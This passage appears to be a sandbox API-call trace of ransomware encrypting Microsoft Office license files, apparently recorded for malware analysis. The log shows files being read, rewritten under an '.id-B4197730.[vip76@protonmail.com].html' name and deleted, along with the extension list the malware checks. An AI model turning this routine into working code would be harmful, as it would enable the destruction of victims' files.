	[0193.026] lstrlenW (lpString="ExcelVL_MAK-ppd.xrm-ms") returned 22
	[0193.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0193.027] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=6795) returned 1
	[0193.027] CloseHandle (hObject=0x5ac) returned 1
	[0193.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms")) returned 0x220
	[0193.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0193.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0193.028] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.028] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec
	[0193.029] GetLastError () returned 0x0
	[0193.029] ReadFile (in: hFile=0x5ac, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x1a8b, lpOverlapped=0x0) returned 1
	[0193.032] WriteFile (in: hFile=0x5ec, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x1a90, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x1a90, lpOverlapped=0x0) returned 1
	[0193.033] ReadFile (in: hFile=0x5ac, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0193.033] WriteFile (in: hFile=0x5ec, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x100, lpOverlapped=0x0) returned 1
	[0193.033] SetEndOfFile (hFile=0x5ec) returned 1
	[0193.033] CloseHandle (hObject=0x5ec) returned 1
	[0193.033] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.034] SetEndOfFile (hFile=0x5ac) returned 1
	[0193.041] CloseHandle (hObject=0x5ac) returned 1
	[0193.042] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0193.042] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms")) returned 1
	[0193.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72
	[0193.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72
	[0193.043] lstrlenW (lpString=".doc") returned 4
	[0193.043] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0193.043] lstrlenW (lpString=".docx") returned 5
	[0193.043] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0193.043] lstrlenW (lpString=".pdf") returned 4
	[0193.044] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0193.044] lstrlenW (lpString=".xls") returned 4
	[0193.044] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0193.044] lstrlenW (lpString=".xlsx") returned 5
	[0193.044] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0193.044] lstrlenW (lpString=".ppt") returned 4
	[0193.044] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0193.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72
	[0193.044] lstrlenW (lpString=".zip") returned 4
	[0193.044] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0193.044] lstrlenW (lpString=".rar") returned 4
	[0193.044] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0193.044] lstrlenW (lpString=".bz2") returned 4
	[0193.044] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0193.044] lstrlenW (lpString=".7z") returned 3
	[0193.044] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0193.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72
	[0193.044] lstrlenW (lpString=".dbf") returned 4
	[0193.044] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0193.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72
	[0193.044] lstrlenW (lpString=".1cd") returned 4
	[0193.044] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0193.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72
	[0193.044] lstrlenW (lpString=".jpg") returned 4
	[0193.044] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0193.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72
	[0193.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72
	[0193.045] lstrlenW (lpString=".doc") returned 4
	[0193.045] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0193.045] lstrlenW (lpString=".docx") returned 5
	[0193.045] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0193.045] lstrlenW (lpString=".pdf") returned 4
	[0193.045] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0193.045] lstrlenW (lpString=".xls") returned 4
	[0193.045] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0193.045] lstrlenW (lpString=".xlsx") returned 5
	[0193.045] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0193.045] lstrlenW (lpString=".ppt") returned 4
	[0193.045] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0193.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72
	[0193.045] lstrlenW (lpString=".zip") returned 4
	[0193.045] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0193.045] lstrlenW (lpString=".rar") returned 4
	[0193.045] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0193.045] lstrlenW (lpString=".bz2") returned 4
	[0193.045] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0193.045] lstrlenW (lpString=".7z") returned 3
	[0193.045] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0193.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72
	[0193.045] lstrlenW (lpString=".dbf") returned 4
	[0193.045] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0193.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72
	[0193.046] lstrlenW (lpString=".1cd") returned 4
	[0193.046] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0193.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72
	[0193.046] lstrlenW (lpString=".jpg") returned 4
	[0193.046] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0193.046] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0193.046] lstrlenW (lpString="ExcelVL_MAK-ul-oob.xrm-ms") returned 25
	[0193.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0193.047] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=11576) returned 1
	[0193.047] CloseHandle (hObject=0x5ac) returned 1
	[0193.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms")) returned 0x220
	[0193.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0193.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0193.048] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.048] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c0
	[0193.361] GetLastError () returned 0x0
	[0193.361] ReadFile (in: hFile=0x5ac, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x2d38, lpOverlapped=0x0) returned 1
	[0193.364] WriteFile (in: hFile=0x5c0, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x2d40, lpOverlapped=0x0) returned 1
	[0193.365] ReadFile (in: hFile=0x5ac, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0193.365] WriteFile (in: hFile=0x5c0, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x106, lpOverlapped=0x0) returned 1
	[0193.366] SetEndOfFile (hFile=0x5c0) returned 1
	[0193.366] CloseHandle (hObject=0x5c0) returned 1
	[0193.366] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.366] SetEndOfFile (hFile=0x5ac) returned 1
	[0193.370] CloseHandle (hObject=0x5ac) returned 1
	[0193.370] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0193.370] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms")) returned 1
	[0193.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75
	[0193.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75
	[0193.371] lstrlenW (lpString=".doc") returned 4
	[0193.371] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0193.371] lstrlenW (lpString=".docx") returned 5
	[0193.371] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0193.371] lstrlenW (lpString=".pdf") returned 4
	[0193.371] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0193.371] lstrlenW (lpString=".xls") returned 4
	[0193.371] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0193.371] lstrlenW (lpString=".xlsx") returned 5
	[0193.371] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0193.372] lstrlenW (lpString=".ppt") returned 4
	[0193.372] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0193.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75
	[0193.372] lstrlenW (lpString=".zip") returned 4
	[0193.372] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0193.372] lstrlenW (lpString=".rar") returned 4
	[0193.372] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0193.372] lstrlenW (lpString=".bz2") returned 4
	[0193.372] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0193.372] lstrlenW (lpString=".7z") returned 3
	[0193.372] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0193.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75
	[0193.372] lstrlenW (lpString=".dbf") returned 4
	[0193.372] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0193.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75
	[0193.372] lstrlenW (lpString=".1cd") returned 4
	[0193.372] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0193.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75
	[0193.372] lstrlenW (lpString=".jpg") returned 4
	[0193.372] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0193.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75
	[0193.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75
	[0193.372] lstrlenW (lpString=".doc") returned 4
	[0193.372] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0193.372] lstrlenW (lpString=".docx") returned 5
	[0193.372] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0193.372] lstrlenW (lpString=".pdf") returned 4
	[0193.372] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0193.372] lstrlenW (lpString=".xls") returned 4
	[0193.373] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0193.373] lstrlenW (lpString=".xlsx") returned 5
	[0193.373] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0193.373] lstrlenW (lpString=".ppt") returned 4
	[0193.373] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0193.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75
	[0193.373] lstrlenW (lpString=".zip") returned 4
	[0193.373] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0193.374] lstrlenW (lpString=".rar") returned 4
	[0193.374] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0193.374] lstrlenW (lpString=".bz2") returned 4
	[0193.374] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0193.374] lstrlenW (lpString=".7z") returned 3
	[0193.374] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0193.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75
	[0193.374] lstrlenW (lpString=".dbf") returned 4
	[0193.374] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0193.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75
	[0193.374] lstrlenW (lpString=".1cd") returned 4
	[0193.374] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0193.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75
	[0193.374] lstrlenW (lpString=".jpg") returned 4
	[0193.374] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0193.374] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0193.374] lstrlenW (lpString="ExcelVL_MAK-ul-phn.xrm-ms") returned 25
	[0193.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0193.375] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=19921) returned 1
	[0193.375] CloseHandle (hObject=0x5ac) returned 1
	[0193.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms")) returned 0x220
	[0193.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0193.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0193.376] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.376] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c0
	[0193.377] GetLastError () returned 0x0
	[0193.377] ReadFile (in: hFile=0x5ac, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x4dd1, lpOverlapped=0x0) returned 1
	[0193.381] WriteFile (in: hFile=0x5c0, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x4de0, lpOverlapped=0x0) returned 1
	[0193.382] ReadFile (in: hFile=0x5ac, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0193.382] WriteFile (in: hFile=0x5c0, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x106, lpOverlapped=0x0) returned 1
	[0193.383] SetEndOfFile (hFile=0x5c0) returned 1
	[0193.383] CloseHandle (hObject=0x5c0) returned 1
	[0193.384] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.384] SetEndOfFile (hFile=0x5ac) returned 1
	[0193.387] CloseHandle (hObject=0x5ac) returned 1
	[0193.387] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0193.387] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms")) returned 1
	[0193.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75
	[0193.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75
	[0193.388] lstrlenW (lpString=".doc") returned 4
	[0193.388] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0193.388] lstrlenW (lpString=".docx") returned 5
	[0193.388] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0193.389] lstrlenW (lpString=".pdf") returned 4
	[0193.389] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0193.389] lstrlenW (lpString=".xls") returned 4
	[0193.389] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0193.389] lstrlenW (lpString=".xlsx") returned 5
	[0193.389] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0193.389] lstrlenW (lpString=".ppt") returned 4
	[0193.389] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0193.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75
	[0193.389] lstrlenW (lpString=".zip") returned 4
	[0193.389] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0193.389] lstrlenW (lpString=".rar") returned 4
	[0193.389] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0193.389] lstrlenW (lpString=".bz2") returned 4
	[0193.389] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0193.389] lstrlenW (lpString=".7z") returned 3
	[0193.389] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0193.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75
	[0193.389] lstrlenW (lpString=".dbf") returned 4
	[0193.389] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0193.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75
	[0193.389] lstrlenW (lpString=".1cd") returned 4
	[0193.389] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0193.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75
	[0193.389] lstrlenW (lpString=".jpg") returned 4
	[0193.389] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0193.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75
	[0193.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75
	[0193.390] lstrlenW (lpString=".doc") returned 4
	[0193.390] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0193.390] lstrlenW (lpString=".docx") returned 5
	[0193.390] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0193.390] lstrlenW (lpString=".pdf") returned 4
	[0193.390] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0193.390] lstrlenW (lpString=".xls") returned 4
	[0193.390] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0193.390] lstrlenW (lpString=".xlsx") returned 5
	[0193.390] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0193.390] lstrlenW (lpString=".ppt") returned 4
	[0193.390] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0193.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75
	[0193.390] lstrlenW (lpString=".zip") returned 4
	[0193.390] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0193.390] lstrlenW (lpString=".rar") returned 4
	[0193.390] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0193.390] lstrlenW (lpString=".bz2") returned 4
	[0193.390] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0193.390] lstrlenW (lpString=".7z") returned 3
